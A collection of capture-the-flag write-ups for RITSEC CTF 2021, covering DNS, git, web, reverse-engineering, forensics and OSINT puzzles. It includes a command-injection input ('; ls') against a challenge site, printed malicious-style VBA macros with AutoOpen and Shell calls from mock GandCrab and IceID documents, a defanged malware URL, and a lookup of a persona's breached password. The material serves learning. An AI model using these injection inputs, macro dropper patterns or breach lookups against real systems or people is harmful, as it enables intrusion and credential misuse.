Answers

Misc – 100pts

Description

Lookup this

answers.ritsec.club:53/udp

Solution

We get an address to a DNS server and we are told to lookup this, so lets see what we get when looking up this then.

dig @answers.ritsec.club this

;; QUESTION SECTION:
;this.				IN	A

;; ANSWER SECTION:
this.			1440	IN	CNAME	answers.ritsec.club.

A CNAME to answers.ritsec.club. Lets check it out.

dig @answers.ritsec.club answers.ritsec.club

;; QUESTION SECTION:
;answers.ritsec.club.		IN	A

;; ANSWER SECTION:
answers.ritsec.club.	1440	IN	CNAME	nlhmvfueacoehdwo.answers.ritsec.club.
answers.ritsec.club.	1440	IN	CNAME	ymbcoqrjbxfhrvcg.answers.ritsec.club.
answers.ritsec.club.	1440	IN	CNAME	zsrccffjkqjhmlur.answers.ritsec.club.

Three new domains with seemingly random names, for each of those we get three new random domains and so on. So we have to automate this in order to find all domains and possible something interesting. The following script will do a DNS lookup on all found domains.

#!/usr/bin/env python3

from scapy.all import *

dns_server = 'answers.ritsec.club'

found = []
lookup = ['this']
new = []

while True:
    for item in lookup:
        answer = sr1(IP(dst=dns_server)/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname=item)),verbose=0)
        
        for a in answer[DNS].an.iterpayloads():
            print(a.rdata)
            if item not in found:
                new.append(a.rdata)
    
        found.append(item)

    lookup = new
    if len(new) == 0:
        break

When running this we can see the domain random_txt_record_pqvnii.answers.ritsec.club in the output. So lets check out the TXT record for this domain.

dig @answers.ritsec.club txt random_txt_record_pqvnii.answers.ritsec.club

;; QUESTION SECTION:
;random_txt_record_pqvnii.answers.ritsec.club. IN TXT

;; ANSWER SECTION:
random_txt_record_pqvnii.answers.ritsec.club. 1440 IN TXT "RS{should_have_used_pihol3}"

Corruption

Misc – 500pts

Description

It seems that this remote is somehow corrupted. See if we can somehow get the data…

git://git.ritsec.club:9418/corruption.git

Solution

When cloning the Git repo we get an error as anticipated.

git clone git://git.ritsec.club:9418/corruption.git
Cloning into 'corruption'...
remote: Enumerating objects: 5, done.
remote: Counting objects: 100% (5/5), done.
remote: Compressing objects: 100% (2/2), done.
remote: aborting due to possible repository corruption on the remote side.
fatal: early EOFs:  80% (4/5)   
fatal: index-pack failed

Lets find out if we can add this as a remote to our own repo instead by running git init to initialize an empty repo and then git remote add origin git://git.ritsec.club:9418/corruption.git to add the remote.

When running git fetch we still get the same error as when we were trying to clone the repo.

remote: Enumerating objects: 5, done.
remote: Counting objects: 100% (5/5), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 5 (delta 0), reused 0 (delta 0), pack-reused 0
remote: aborting due to possible repository corruption on the remote side.
Unpacking objects: 100% (5/5), done.
fatal: early EOF
fatal: unpack-objects failed

Retrying the git fetch command, we now get the branch information.

From git://git.ritsec.club:9418/corruption
 * [new branch]      error      -> origin/error
 * [new branch]      master     -> origin/master

Now we can try to run git pull origin master to see if we can get anything from the repo.

From git://git.ritsec.club:9418/corruption
 * branch            master     -> FETCH_HEAD

Great. We got the master branch. We now have a file named flag.txt and a file named README.md. But sadly none of those files contain the flag.

Checking the commit history we only find one commit, so no flag in the files in the master branch. Lets move on to the origin/error branch.

Running git pull origin master fails, but when we try to merge the branches with git merge-base origin/master origin/error we get the following message.

error: object c09b32987380e63e93d93f699e1dbfeae839f8e2 is a blob, not a commit
fatal: Not a valid commit name origin/error

Ok, so the branch points to a blob. Running git cat-file -p c09b32987380e63e93d93f699e1dbfeae839f8e2 displays the file contents, which is the flag.

RS{se3_that_wasnt_s0_bad_just_som3_git_plumbing}

Robots

Web – 100pts

Description

Robots are taking over. Find out more.

Solution

When entering the challenge page all we can see is a static page telling us that “Robots are taking over”

Lets check out the robots.txt file.

User-agent: Robot-Queto-v1.2
        Disallow: /search
        Allow: /search/about
        Allow: /search/static
        Allow: /search/howsearchworks
        Disallow: /sdch
...
        Disallow: /local/tab/
        Disallow: /localservices/*
        Allow: /finance
        Allow: /js/
        Disallow: /nonprofits/account/

The robots.txt file is huge, containing a lot of Allow/Disallow statements. Scrolling through the entries we find Allow: /flag/UlN7UjBib3RzX2FyM19iNGR9, but trying this location returns a not found response.

Base64 decoding UlN7UjBib3RzX2FyM19iNGR9 returns the flag.

RS{R0bots_ar3_b4d}

Sessions

Web – 100pts

Description

Find the flag.

Solution

Entering the challenge page we get a login form.

Trying to login just re-renders the login form, lets check out the source to see if we can find anything useful.

<html>
<head>
  <title>Iroh - Login</title>
  <!--#remove comment later: login iroh:iroh-->
</head>

<body style="background-color:orange;">
<h2> Login </h2>
<form action="" method="post">
       <input type="text" placeholder="Username" name="username" value="a">
        <input type="password" placeholder="Password" name="password" value="a">
       <input class="btn btn-default" type="submit" value="Login">
     </form>
     

</body>

</html>

Looks like someone forgot to remove the comment. Using credentials iroh:iroh we are able to login and get a new page.

Looking around the page yields no further information, taking a look at the cookies we find that we have a cookie called sessiontoken with the base64 encoded value UlN7MG5seV9PbmVfczNzc2lvbl90b2szbn0=. Decoding the value gives us the flag.

RS{0nly_One_s3ssion_tok3n}

DababyWeb

Web – 150pts

Description

Dababy wanted to share a message, but he seemed to put it too high up…

Solution

Here we have Dababy’s homepage, the start page got two links to his images and some name judgement page.

Checking out the name judgement page we get an input field where you can enter a name. Entering ; ls reveals that it has a command injection vulnerability.

By entering ; ls .. we find the flag.txt file, but when we try to cat the file we get the message Dababy say’s no peaking. Lets check out the second page.

Here we can see some text and a couple of images, we can also see that the page uses a parameter named file, lets see if we can request flag.txt.

RS{J3TS0N_M4D3_4N0TH3R_0N3}

snek

Reverse Engineering – 100pts

Description

No step on snek

Solution

Attached is a file called snek running the file command on the file reveals that it’s a compiled Python program. Decompiling with decompyle3 gives us the source.

"""
Written for RITSEC CTF 2021
Author: knif3
Flag: RITSEC{}

TODO: Finish this challenge
"""

class d(object):

    def __init__(self, password):
        self.password = password.encode()
        self.decrypt = [97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 95, 82, 83, 123, 97, 108, 108, 95, 104, 105, 36, 36, 95, 97, 110, 100, 95, 110, 48, 95, 98, 105, 116, 51, 125]

    def __eq__(self, other):
        if self.password == bytes(self.decrypt):
            print('!flag')
            return True
        return False


x = input('Enter my name: ')
a = d(x)
if a == x:
    print('IS_THIS_THE_FLAG??')
    print('NOPE')
else:
    print('WRONG')

We got an int array called decrypt that sounds interesting, dumping the array gives us the following.

b'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_RS{all_hi$$_and_n0_bit3}'
RS{all_hi$$_and_n0_bit3}

Memedrive

Reverse Engineering – 275pts

Description

The best Android app for viewing memes!

Solution

Lets start by decompiling the APK with Jadx. When decompiled we can find a class named InitStuff which contains some interesting stuff.

package com.ritsecctf.memedrive;

import android.os.AsyncTask;
import java.io.IOException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Scanner;

/* compiled from: MainActivity */
class InitStuff extends AsyncTask {
    InitStuff() {
    }

    /* access modifiers changed from: protected */
    @Override // android.os.AsyncTask
    public Object doInBackground(Object[] objArr) {
        String saltString = MainActivity.getSaltString();
        MainActivity.writeStringAsFile(App.getContext(), "hacker" + ":" + saltString + "\n", "etc-password");
        MainActivity.writeStringAsFile(App.getContext(), "0000\n", "index.log");
        MainActivity.writeStringAsFile(App.getContext(), "00000000\n", "key.log");
        try {
            StringBuffer stringBuffer = new StringBuffer();
            Scanner scanner = new Scanner(new URL("https://raw.githubusercontent.com/yung-g4ngst3r360noscope/gimmeThatData/main/flags.txt").openStream());
            while (scanner.hasNext()) {
                stringBuffer.append(scanner.next());
            }
            MainActivity.writeStringAsFile(App.getContext(), stringBuffer.toString(), "values.txt");
            return null;
        } catch (MalformedURLException e) {
            e.printStackTrace();
            return null;
        } catch (IOException e2) {
            e2.printStackTrace();
            return null;
        }
    }
}

Downloading the file from the GitHub url we get a long list of Base64 encoded data but no flags when decoding.

One of the memes in the app might give us a hint.

So the data in the base64 encoded strings may be XOR:ed with some key, taking a look at the classes Showimg1Showimg10 we find some key values we can try.

package com.ritsecctf.memedrive;

import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.OutputStreamWriter;

public class Showimg1 extends AppCompatActivity {
    /* access modifiers changed from: protected */
    @Override // androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity
    public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        setContentView(R.layout.activity_showimg1);
        try {
            FileOutputStream openFileOutput = openFileOutput("index.log", 32768);
            FileOutputStream openFileOutput2 = openFileOutput("key.log", 32768);
            OutputStreamWriter outputStreamWriter = new OutputStreamWriter(openFileOutput);
            outputStreamWriter.write("1498\n");
            outputStreamWriter.flush();
            outputStreamWriter.close();
            OutputStreamWriter outputStreamWriter2 = new OutputStreamWriter(openFileOutput2);
            outputStreamWriter2.write("LN3M99BX\n");
            outputStreamWriter2.flush();
            outputStreamWriter2.close();
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        } catch (IOException e2) {
            e2.printStackTrace();
        }
    }
}

Extracting all key values we can write a script to decode and XOR each line with each key to see if we find anything interesting.

#!/usr/bin/env python3

import base64
import string

fh = open('flags.txt', 'r')
data = fh.readlines()
fh.close()

keys = [b'LN3M99BX', b'JWVE66PI', b'PQ4LL22C', b'WV94J7ZH', b'GT6BW30K', b'N28UB11M', b'FQ7FV5K2', b'7NFSK27C', b'1CZ7KHR5', b'NN52DOMW']

for line in data:
    decoded = base64.b64decode(line).decode()

    for key in keys:
        flag = bytearray()
        for idx in range(len(decoded)):
            flag.append(ord(decoded[idx]) ^ key[idx % len(key)])

        if b'}' in flag:
            print(flag)

When we run this we find the flag.

bytearray(b')S\x0e*<o\x07+Jd*l7}\x00iN!;Y-X\x00C$1\x18\x7fBv')
bytearray(b'/Jk"3`\x15:L}Od8r\x12xH8^Q"W\x12R"(}wMy')
bytearray(b'5L\t+Idw0V{-mBvprR><XXSpX8.\x1f~7}')
bytearray(b'RS{4Ndr01d_rEvur5!NG_SuX_1ma0}')
RS{4Ndr01d_rEvur5!NG_SuX_1ma0}

1597

Forensics – 100pts

Description

… as in https://xkcd.com/1597/

http://git.ritsec.club:7000/1597.git/

Solution

When cloning the repo we get two files, flag.txt and README.md, but the flag.txt file is empty. Taking a look at the commit history we can find a previous commit. But the contents of flag.txt is Your princess is in another castle so no luck there.

Taking a look at the branches we can find a second branch named flag and checking out this branch we get the flag in the flag.txt file.

RS{git_is_just_a_tre3_with_lots_of_branches}

PleaseClickAlltheThings 1: BegineersRITSEC.html

Forensics – 150pts

Description

Start with the HTML file and let’s move our way up, open and or inspect the HTML file provide in the message file. There is only one flag in this document.

Solution

Saving the HTML file from the attached email message we get a script tag with some JavaScript and a huge url encoded string.

Decoding the string returns a HTML document and in the document we can find the following tag.

<flag="UklUU0VDe0gzcjMhdCEkfQ==">

Base64 decoding the value gives us the flag.

RITSEC{H3r3!t!$}

PleaseClickAlltheThings 2: GandCrab_Ursnif

Forensics – 200pts

Description

GandCrab/Ursnif are dangerous types of campaigns and malware, macros are usually the entry point, see what you can find, there are two flags in this document. Flag1/2

Solution

Saving the GanCrab document from the previous email we can check the VBA in the document using oletools.

olevba gandcrab.docm 
olevba 0.56 on Python 2.7.16 - http://decalage.info/python/oletools
===============================================================================
FILE: gandcrab.docm
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls 
in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module4.bas 
in file: word/vbaProject.bin - OLE stream: u'VBA/Module4'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Function TheDarkSide()
On Error Resume Next
CTF = Array(ElonMusk, StarWars, HelloWorld, Interaction.Shell(CleanString(Chewbacca.TextBox1), 43 - 43), Mars)
   Select Case Research
            Case 235003991
            CompetitorSkillz = That_of_a_Storm_Troopers_Aim_Research_Pending
            Flag = RITSEC{M@CROS}
            PendingResearch = Oct(Date + CStr(TimeStamp + Log(241371097) - PewPew / Hex(13775121)))
      End Select
End Function
-------------------------------------------------------------------------------
VBA MACRO Module1.bas 
in file: word/vbaProject.bin - OLE stream: u'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Sub autoopen()
TheDarkSide
End Sub
+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |autoopen            |Runs when the Word document is opened        |
|Suspicious|Shell               |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
+----------+--------------------+---------------------------------------------+

In the TheDarkSide function we find the flag.

RITSEC{M@CROS}

Please Click All the Things 3: IceID

Forensics – 350pts

Description

Stepping it up to IceID/Bokbot, this challenge is like the previous challenge but requires some ability to read and understand coding in addition to some additional decoding skills, there are two flags in this document. (Flag 1/2)

Solution

Lets save the IceID/Bokbot document from the email and dump the VBA using oletools.

olevba 3.docm --deobf --decode
olevba 0.56 on Python 2.7.16 - http://decalage.info/python/oletools
===============================================================================
FILE: 3.docm
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls 
in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO NewMacros.bas 
in file: word/vbaProject.bin - OLE stream: u'VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Sub AutoOpen()
Function aRXKz()
aRXKz = frm.txt.Text
End Function
Public Function aTwLcg(alRUYI)
aTwLcg = Replace(alRUYI, a7sVN, "")
End Function
Sub AutoOpen()
main
End Sub
Public Sub a8hv3(ai295)
End Sub
End Sub
-------------------------------------------------------------------------------
VBA MACRO Module1.bas 
in file: word/vbaProject.bin - OLE stream: u'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Public Const aHVWt As String = "p_:_\_j_v_a_q_b_j_f_\_f_l_f_g_r_z_3_2_\_z_f_u_g_n__r_k_r_"
Public Const aqv6tf As String = "EVGFRP{E0GG1ATZ@YP0Q3}"

Public Const a7sVN As String = "_"
Public Const asXlUN As Integer = -954 + 967
Public Function aENoBO(aHu95, avuEG8)
FileNumber = FreeFile
Open aHu95 For Output As #FileNumber
Print #FileNumber, Spc(-413 + 456)
Print #FileNumber, avuEG8
Print #FileNumber, Spc(-413 + 456)
Close #FileNumber
End Function
Sub aUoaN(adDgz, at09Aq)
FileCopy adDgz, at09Aq
End Sub
Function anPr56(aCl8i)
anPr56 = Len(aCl8i)
End Function
Function a79yA(aO0h5k)
a79yA = aO0h5k + 12324 / 474
End Function
Function aHScDO(aoza8) As String
Dim alc6yS As Long
Dim a9uRX As Integer
Dim agyvb As Integer
For alc6yS = 1 To anPr56(aoza8)
agyvb = 0
aFxdHY = VBA.Mid$(aoza8, alc6yS, 1)
a9uRX = Asc(aFxdHY)
If (a9uRX > 64 And a9uRX < 91) Or (a9uRX > 96 And a9uRX < 123) Then
agyvb = asXlUN
a9uRX = a9uRX - agyvb
If a9uRX < 97 And a9uRX > 83 Then
a9uRX = a79yA(a9uRX)
ElseIf a9uRX < 65 Then
a9uRX = a79yA(a9uRX)
End If
End If
Mid$(aoza8, alc6yS, 1) = VBA.Chr$(a9uRX)
Next
aHScDO = aoza8
End Function
-------------------------------------------------------------------------------
VBA MACRO Module2.bas 
in file: word/vbaProject.bin - OLE stream: u'VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Sub main()
auIPjp = aHScDO(aTwLcg(aHVWt))
aZuadn = aHScDO(aTwLcg(aqv6tf))
a9ANR = aHScDO(aTwLcg(aE0yGK))
aUoaN auIPjp, aZuadn
aENoBO a9ANR, aHScDO(aRXKz)
Shell aZuadn & " " & a9ANR
End Sub
-------------------------------------------------------------------------------
VBA MACRO UserForm1.frm 
in file: word/vbaProject.bin - OLE stream: u'VBA/UserForm1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Private Sub TextBox1_Change()

End Sub
-------------------------------------------------------------------------------
VBA FORM STRING IN 'word/vbaProject.bin' - OLE stream: u'UserForm1/o'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
<!QBPGLCR ugzy>
-------------------------------------------------------------------------------
VBA FORM Variable "TextBox1" IN 'word/vbaProject.bin' - OLE stream: u'UserForm1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
<!QBPGLCR ugzy>
+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |AutoOpen            |Runs when the Word document is opened        |
|AutoExec  |TextBox1_Change     |Runs when the file is opened and ActiveX     |
|          |                    |objects trigger events                       |
|Suspicious|Shell               |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|Open                |May open a file                              |
|Suspicious|Output              |May write to a file (if combined with Open)  |
|Suspicious|Print #             |May write to a file (if combined with Open)  |
|Suspicious|FileCopy            |May copy a file                              |
|Suspicious|Chr                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|Hex String|'b@\xe5 '           |6240E520                                     |
|Hex String|"\xc6B\xdf\xe5'$"   |C642DFE52724                                 |
|Hex String|'2\xe8Zh'           |32E85A68                                     |
|Hex String|'\x1a\xea\xde\xb8\x0|1AEADEB80451                                 |
|          |4Q'                 |                                             |
+----------+--------------------+---------------------------------------------+

Now we got some obfuscated VBA code. One interesting line is Public Const aqv6tf As String = "EVGFRP{E0GG1ATZ@YP0Q3}" which looks like the encoded flag. Lets see if we can decode it.

The only usage of the flag const is aZuadn = aHScDO(aTwLcg(aqv6tf)) so lets start to clean up the function aTwLcg.

Public Function aTwLcg(input)
    aTwLcg = Replace(input, "_", "")
End Function

So the first function simply removes all underscores from the input string.

Lets clean up the function aHScDO.

Function aHScDO(input) As String
    Dim idx As Long
    Dim currCharVal As Integer
    For idx = 1 To Len(input)
        currChar = VBA.Mid$(input, idx, 1)
        currCharVal = Asc(currChar)
        If (currCharVal > 64 And currCharVal < 91) Or (currCharVal > 96 And currCharVal < 123) Then
            currCharVal = currCharVal - 13
            If currCharVal < 97 And currCharVal > 83 Then
                currCharVal = currCharVal + 26
            ElseIf currCharVal < 65 Then
                currCharVal = currCharVal + 26
            End If
        End If
        Mid$(input, idx, 1) = VBA.Chr$(currCharVal)
    Next
    aHScDO = input
End Function

This function loops through each character in the input string, subtracts 13 from the value, if some constraints are fulfilled it adds 26, and returns a new string with the new values. So essentially a ROT13 function.

Using ROT13 on EVGFRP{E0GG1ATZ@YP0Q3} returns the flag.

RITSEC{R0TT1NGM@LC0D3}

Please Click All the Things 4: BokBot

Forensics – 350pts

Description

Stepping it up to IceID/Bokbot, this challenge is like the previous challenge but requires some ability to read and understand coding in addition to some additional decoding skills, there are two flags in this document. (Flag 2/2)

Solution

Using oletools on the document we can find a large encoded block at the end. The entire block is ROT13 encoded, using ROT13 to decode the block we end up with a HTML document.

In the HTML document we find a p tag with the id content containing a long string of what looks like hex. We can also see some obfuscated JavaScript. The decoded file can be found here.

Analyzing the JavaScript we can see that it converts the hex string in the content tag to text and removes all occurrences of 4dou and gi. Then it creates a function from the content which is then called with another hex string.

function admNrF(arG63N) {
  var ahvR43 = "";
  for (var afxLrZ = 0; afxLrZ < arG63N.length; afxLrZ += 2) {
    ahvR43 += String.fromCharCode(parseInt(arG63N.substr(afxLrZ, 2), 16));
  }
  return ahvR43;
}

a41Xmr = admNrF(a41Xmr); // content string
a41Xmr = a41Xmr.replace(/4dou/gi, "");
var aLwCn5 = new Function("u", "c", a41Xmr);
aLwCn5("261636e23757f6963696c616d6f2472756078756e2d7e603124704365357662603b7345435459425f2f2a307878786", 0);

When decoding the content we get an obfuscated JavaScript file, which can be found here, which uses the hex input, reverses it and decodes it to a string to be used as input to make a HTTP call.

function aaN9H(aYGTz) {
	return aYGTz.split('').reverse().join('');
}

function au2A6(a9oN) {
	var aYGTz = '';
	for (var a5qunC = 0; a5qunC < a9oN.length; a5qunC += 2) {
		aYGTz += String.fromCharCode(parseInt(a9oN.substr(a5qunC, 2), 16));
	}
	return aYGTz;
}

u = aaN9H(u);
u = au2A6(u);

When we reverse the hex string and converts it to a string we get the following.

hxxp://RITSEC{0bfu5c@t!0n}.expert/malicious.cab
RITSEC{0bfu5c@t!0n}

Parcel

Forensics – 200pts

Description

That’s a lot of magick

Solution

Attached is an email conversation containing a bunch of PNG files, extracting all the images we can see that they are parts of a larger image.

Piecing all the parts together we get the flag.

RS{Im_doing_a_v1rtual_puzzl3}

Blob

Forensics – 200pts

Description

Ha. Blob. Did you get the reference?

http://git.ritsec.club:7000/blob.git/

Solution

Running git clone http://git.ritsec.club:7000/blob.git/ we get two files, flag.txt and README.md. Checking out the contents of flag.txt we only get the text “these aren’t the droids you’re looking for”.

Checking the commit history and branches reveals nothing, checking the tags we find a tag named flag. Running git show flag gives us the flag.

RS{refs_can_b3_secret_too}

BIRDTHIEF: FYSA

Forensics – 100pts

Solution

Checking the attached PDF file we find a slide deck with some information about Operation Birdthief, and our objective is to read the slide deck and get as much information out of it as possible.

Running foremost on the PDF we extract a bunch of pictures and one of the pictures contains the flag.

RS{Make_sure_t0_read_the_briefing}

BIRDTHIEF: Interception

Forensics – 200pts

Description

Read the slide deck for more information

Solution

Attached is a pcap file, analyzing the streams we can find the following stream where someone logs in to the drone.

Base32 decoding and then gunzipping the contents of droneinfo.log we get the flag.

RITSEC{Dr0n3_ar3_rea11y_c00l}

IFTPP

Forensics – 500pts

Description

Dang that’s a big ping

Solution

Opening the attached pcap file in Wireshark we can see some HTTP traffic followed by a bunch of ICMP packages.

Looking at the response from the GET /rfc.txt request we get an RFC for a data transfer protocol over ICMP Echo requests. The dumped RFC can be found here.

Using Scapy and implementing the protocol we end up with a script that can be found here.

After running the script we get the following image.

RS{P1nG_me_d4T_n0ic3_jp3g_hom1e}

Inception CTF: Dream 1

Forensics – 100pts

Description

We have to get to their subconscious first, look for a hidden text file within the directory “Reality” this flag will unlock the next directory.

Solution

Extracting the attached 7z file we get a file called Subconscious.txt.

Wait a minute, whose subconscious are we going into, exactly? {dnalmaerD}CESTIR

Reversing the last part we get the flag.

RITSEC{Dreamland}

Inception CTF: Dream 2

Forensics – 225pts

Description

Unfortunately, the subconscious isn’t enough for this mission, we have to kidnap Fischer we need to go further into the system of the mind. Use the flag found to edit the PowerShell script, entering the Flag in line three in-between the single quotes. Run the PowerShell script and wait for it to complete its actions.

Solution

Now we got a PowerShell script and a text file. Lets check the text file.

An idea is like a virus, resilient, highly contagious. 
52 49 54 53 45 43 7b 57 61 74 65 72 55 6e 64 65 72 54 68 65 42 72 69 64 67 65 7d

Converting the hex characters to ascii we get the flag.

RITSEC{WaterUnderTheBridge}

Inception CTF: Dream 3

Forensics – 200pts

Description

While the first two steps were easy it’s all hard from here on out, ThePointMan is the most crucial role of the mission he has to be presentable but without giving away our intentions. Use Alternate Dream State to find the flag before the kick.

Solution

For this challenge we get two files, one “hidden” and another called ThePointMan.txt.

Opening the hidden file we get the following.

You mean, a dream within a dream? NTIgNDkgNTQgNTMgNDUgNDMgN2IgNDYgNDAgMjEgMjEgNjkgNmUgNjcgNDUgNmMgNjUgNzYgNDAgNzQgNmYgNzIgN2Q=

Base64 decoding the encoded part we get some hex, converting the hex to ascii gives us the flag.

RITSEC{F@!!ingElev@tor}

InceptionCTF: Dream 4

Steganography – 200pts

Description

Don’t lose yourself within the dreams, it’s critical to have your totem. Take a close look at the facts of the file presented to you. Please note the flag is marked with an “RITSEC=” rather than {} due to encoding limitations.

Solution

For this challenge we get a exe file. Running strings on the file returns a HTML document embedded in the file.

3chtml>
<body>

<!DOCTYPE html>
<html>
<head>
    <title>Non, je ne regrette rien</title>
<HTA:APPLICATION
  APPLICATIONNAME="Non, je ne regrette rien"
  ID="Inception"
  VERSION="1.0"
  SCROLL="no"/>
 
<style type="text/css">
</head>
    <div id="feature">
            <div id="content
				</style>
                <h1 id="unavailable" class="loading">Building Dreams....</h1>
				<script type="text/javascript" language="javascript">
					function RunFile() {
					WshShell = new ActiveXObject("WScript.Shell");
					WshShell.Run("notepad %USERPROFILE%/Desktop/InceptionCTF/Reality/VanChase/TheHotel/ThePointMan.txt", 1, false);
					}
				</script>
        </div>
    </div>
<body>
	<input type="button" value="Implant Inception Here" onclick="RunFile();"/>
	<p style="color:white;">
-.. .-. . .- -- ...
..-. . . .-..
.-. . .- .-..
.-- .... . -.
.-- . .----. .-. .
.. -.
- .... . -- .-.-.-
.. - .----. ...
--- -. .-.. -.--
.-- .... . -.
.-- .
.-- .- -.- .
..- .--.
- .... .- -
.-- .
.-. . .- .-.. .. --.. .
... --- -- . - .... .. -. --.
.-- .- ...
.- -.-. - ..- .- .-.. .-.. -.--
... - .-. .- -. --. . .-.-.-
.-. .. - ... . -.-. -...- -.. .. ...- . .-. ... .. --- -. 
</p>
</body>
</body>
  </html>

At the end we can see some morse code, decoding this we get the following.

DREAMS FEEL REAL WHEN WE'RE IN THEM. IT'S ONLY WHEN WE WAKE UP THAT WE REALIZE SOMETHING WAS ACTUALLY STRANGE. RITSEC=DIVERSION
RITSEC{DIVERSION}

InceptionCTF: Dream 5

Steganography – 200pts

Description

We’re almost there, we just need Fischer to open the safe! That top looks awfully weird though.

Solution

For this challenge we get an image of a spinning top. Running strings Inception.jpg reveals the string UklUU0VDezUyODQ5MX0g. Base64 decoding this returns the flag.

RITSEC{528491}

Finding Geno

OSINT – 50pts

Description

We know that our missing person’s name is Geno and that he works for a local firm called Bridgewater. What is his last name? (Wrap the answer in RS{})

Solution

Doing a google search for Bridgewater Geno linkedin we can find a LinkedIn profile.

RS{ikonomov}

Data Breach

OSINT – 175pts

Description

Oh no! Geno’s email was involved in a data breach! What was his password?

Solution

On Geno’s LinkedIn profile we can find his email.

Doing a Google search for “incogeno@gmail.com” we get a result with his password.

RS{StartedFromTheBottom!}

Music Signs

OSINT – 225pts

Description

Geno occasionally keeps up with his ex’s music interests. What do they say about her personality?

Solution

Finding Geno’s Facebook page, we can find out who his ex is.

Unfortunately there isn’t much information on her Facebook page, but taking a look at Geno’s Twitter account we can find her Twitter account.

Opening the Spotify link we can find a playlist called RS.

Taking the first character of each song in the playlist gives us the flag.

RS{SAGITTARIUS}

#OSINTChallenge

OSINT – 250pts

Description

The CEO of Geno’s company loves local art and nature. Where was she when she took the photo in her Twitter background? (Wrap the answer in RS{} and use underscores between each word.)

Solution

First lets find more information about Bridgewater Investigations, by Googling we can find a LinkedIn page for the company.

Ok, so the CEO is named JoAnne Turner-Frey. Going to her Twitter page we can see the background picture.

So she’s from Rochester, NY, lets do a Google search for peace sign park rochester.

Taking a look at the images we can see that they matches the background image. So the location is Durand Eastman Park.

RS{Durand_Eastman_Park}

APT Interference

OSINT – 300pts

Description

Geno’s ex is speculated to be involved in his disappearance. Try to find some incriminating information on her
social media. What nation-state is she working with? (Wrap the answer in RS{})

Solution

Take a look at Claire Eng’s Twitter we can find a Bitcoin-address.

Google search for the address and we find another hash.

Searching for the new hash we find out that it’s the official Bitcoin wallet for Ackaria Ministry of Finance.

RS{Ackaria}

Bad Traffic

OSINT – 350pts

Description

That APT might’ve compromised our networks. We’ve included a PCAP of suspicious activity. What tool is the APT using to steal data? (Wrap the answer in RS{})

Solution

Attached is a pcap file, opening the file in Wireshark we can find a lot of strange DNS traffic.

Doing some Google search for the traffic we can find traffic matching the sample is created by DNSteal.

RS{DNSteal}